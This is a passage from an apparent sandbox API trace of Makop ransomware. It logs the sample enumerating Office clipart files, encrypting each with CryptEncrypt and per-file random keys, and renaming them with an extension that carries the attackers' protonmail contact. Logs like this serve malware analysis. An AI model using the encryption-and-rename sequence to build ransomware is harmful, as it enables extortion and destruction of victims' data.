lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63b9b100, ftCreationTime.dwHighDateTime=0x1bd4b2c, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x63b9b100, ftLastWriteTime.dwHighDateTime=0x1bd4b2c, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00262_.WMF", cAlternateFileName="")) returned 1 [0108.997] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0108.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0108.999] GetProcessHeap () returned 0x48a0000 [0108.999] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0108.999] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0108.999] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0109.000] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0109.004] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.004] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.004] GetProcessHeap () returned 0x48a0000 [0109.004] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0109.004] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0109.004] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.004] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0109.004] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0109.005] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0109.005] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0109.005] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0109.005] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0109.005] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.005] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.005] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.005] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x9fc, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x9fc, lpOverlapped=0x0) returned 1 [0109.006] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa00, dwBufLen=0xa00 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa00) returned 1 [0109.006] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.006] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xa00, lpOverlapped=0x0) returned 1 [0109.006] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.006] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xad4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.006] SetEndOfFile (hFile=0xf0) returned 1 [0109.013] GetProcessHeap () returned 0x48a0000 [0109.013] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0109.013] GetProcessHeap () returned 0x48a0000 [0109.013] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0109.013] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0109.013] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0109.015] CloseHandle (hObject=0xf0) returned 1 [0109.015] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcaca6c00, ftCreationTime.dwHighDateTime=0x1bd4b12, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcaca6c00, ftLastWriteTime.dwHighDateTime=0x1bd4b12, nFileSizeHigh=0x0, nFileSizeLow=0x1678, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00265_.WMF", cAlternateFileName="")) returned 1 [0109.015] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0109.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0109.016] GetProcessHeap () returned 0x48a0000 [0109.016] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0109.016] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0109.016] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0109.016] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0109.021] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.021] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.021] GetProcessHeap () returned 0x48a0000 [0109.021] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0109.021] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0109.021] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.021] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0109.021] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0109.022] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0109.022] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0109.022] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0109.022] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0109.022] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.022] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.022] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.023] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1678, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1678, lpOverlapped=0x0) returned 1 [0109.024] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1680, dwBufLen=0x1680 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1680) returned 1 [0109.024] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.024] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1680, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1680, lpOverlapped=0x0) returned 1 [0109.025] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.025] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1754, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.025] SetEndOfFile (hFile=0xf0) returned 1 [0109.032] GetProcessHeap () returned 0x48a0000 [0109.032] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0109.032] GetProcessHeap () returned 0x48a0000 [0109.032] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0109.032] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0109.033] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0109.034] CloseHandle (hObject=0xf0) returned 1 [0109.034] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2253700, ftCreationTime.dwHighDateTime=0x1bd4b1a, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2253700, ftLastWriteTime.dwHighDateTime=0x1bd4b1a, nFileSizeHigh=0x0, nFileSizeLow=0xa54, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00267_.WMF", cAlternateFileName="")) returned 1 [0109.034] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0109.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0109.035] GetProcessHeap () returned 0x48a0000 [0109.035] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0109.035] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0109.035] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0109.035] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0109.040] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.040] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.040] GetProcessHeap () returned 0x48a0000 [0109.040] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0109.040] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0109.040] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.040] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0109.040] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0109.041] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0109.041] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0109.041] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0109.041] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0109.041] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.042] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.042] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.042] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xa54, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xa54, lpOverlapped=0x0) returned 1 [0109.042] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa60, dwBufLen=0xa60 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa60) returned 1 [0109.042] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.042] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xa60, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xa60, lpOverlapped=0x0) returned 1 [0109.042] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.042] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xb34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.043] SetEndOfFile (hFile=0xf0) returned 1 [0109.049] GetProcessHeap () returned 0x48a0000 [0109.049] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0109.050] GetProcessHeap () returned 0x48a0000 [0109.050] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0109.050] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0109.050] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0109.051] CloseHandle (hObject=0xf0) returned 1 [0109.051] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbde25400, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbde25400, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1498, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00269_.WMF", cAlternateFileName="")) returned 1 [0109.051] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0109.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0109.052] GetProcessHeap () returned 0x48a0000 [0109.052] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0109.052] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0109.052] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0109.052] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0109.058] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.058] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.058] GetProcessHeap () returned 0x48a0000 [0109.058] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0109.058] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0109.058] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.058] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0109.058] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0109.058] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0109.059] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0109.059] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0109.059] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0109.059] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.059] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.059] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.059] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1498, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1498, lpOverlapped=0x0) returned 1 [0109.061] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x14a0, dwBufLen=0x14a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x14a0) returned 1 [0109.061] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.061] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x14a0, lpOverlapped=0x0) returned 1 [0109.062] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.062] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1574, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.062] SetEndOfFile (hFile=0xf0) returned 1 [0109.069] GetProcessHeap () returned 0x48a0000 [0109.069] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0109.069] GetProcessHeap () returned 0x48a0000 [0109.069] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0109.069] wsprintfW (in: 